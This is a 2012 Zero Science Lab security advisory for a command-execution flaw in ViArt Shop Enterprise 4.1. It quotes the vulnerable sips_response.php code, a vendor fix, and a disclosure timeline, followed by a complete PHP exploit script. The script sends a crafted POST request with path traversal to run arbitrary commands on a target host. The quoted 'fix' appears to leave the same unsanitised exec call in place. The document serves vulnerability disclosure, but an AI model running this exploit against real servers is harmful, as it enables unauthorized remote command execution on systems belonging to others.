ViArt Shop Enterprise 4.1 Arbitrary Command Execution Vulnerability

2012.09.25
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

<?php /* ViArt Shop Enterprise 4.1 Arbitrary Command Execution Vulnerability Vendor: ViArt Software Product web page: http://www.viart.com Affected version: 4.1, 4.0.8, 4.0.5 Summary: Viart Shop is a PHP based e-commerce suite, aiming to provide everything you need to run a successful on-line business. Desc: Input passed to the 'DATA' POST parameter in 'sips_response.php' is not properly sanitised before being used to process product payment data. This can be exploited to execute arbitrary commands via specially crafted requests. Condition: register_globals=On ======================================================================= Vuln: ----- /payments/sips_response.php: ---------------------------- 16: if (isset($_POST['DATA'])) { 17: 18: $params = " message=" . $_POST['DATA']; 19: $params .= " pathfile=" . $payment_params['pathfile']; 20: exec($payment_params['path_bin_resp'] . $params, $result); ----------------------------------------------------------------------- Fix: ---- /payments/sips_response.php: ---------------------------- 5: if (!defined("VA_PRODUCT")) { 6: header ("Location: ../index.php"); 7: exit; 8: } 9: 10: if (isset($_POST['DATA'])) { 11: 12: $params = " message=" . $_POST['DATA']; 13: $params .= " pathfile=" . $payment_params['pathfile']; 14: exec($payment_params['path_bin_resp'] . $params, $result); ======================================================================= Tested on: Microsoft Windows 7 Ultimate SP1 (EN) Apache 2.4.2 (Win32) PHP 5.4.4 MySQL 5.5.25a Vulnerability discovered by Gjoko 'LiquidWorm' Krstic liquidworm gmail com Zero Science Lab - http://www.zeroscience.mk Vendor status: [09.09.2012] Vulnerability discovered. [24.09.2012] Contact with the vendor. [24.09.2012] Vendor responds asking more details. [24.09.2012] Sent detailed information to the vendor. [25.09.2012] Vendor confirms the vulnerability, issuing patch (http://www.viart.com/downloads/sips_response.zip). [25.09.2012] Coordinated public security advisory released. Advisory ID: ZSL-2012-5109 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5109.php Vendor: http://www.viart.com/downloads/viart_shop-4.1.zip 09.09.2012 */ error_reporting(0); print "\n-----------------------------------------------------------"; print "\n\n ViArt Shop Enterprise 4.1 Remote Command Execution\n\n"; print "\t\tID: ZSL-2012-5109\n\n"; print "-----------------------------------------------------------\n"; if ($argc < 2) { print "\n\n\x20[*] Usage: php $argv[0] <host> <cmd>\n\n"; print "\x20[*] Example: php $argv[0] localhost windows%2Fsystem32%2Fcalc.exe\n\n"; die(); } $host = $argv[1]; $cmd = $argv[2]; $sock = fsockopen($host,80); $post = "DATA=..%2F..%2F..%2F..%2F..%2F{$cmd}"; $duz = strlen($post); $data = "POST http://{$host}/payments/sips_response.php HTTP/1.1\r\n". "Host: {$host}\r\n". "User-Agent: Mozilla/5.0\r\n". "Content-Type: application/x-www-form-urlencoded\r\n". "Accept-Encoding: gzip,deflate\r\n". "Content-Length: {$duz}\r\n\r\n{$post}\r\n\r\n"; fputs($sock,$data); while(!feof($sock)) { $html .= fgets($sock); } fclose($sock); echo "\n" . $html; ?>

References:

http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5109.php
http://www.viart.com/downloads/viart_shop-4.1.zip


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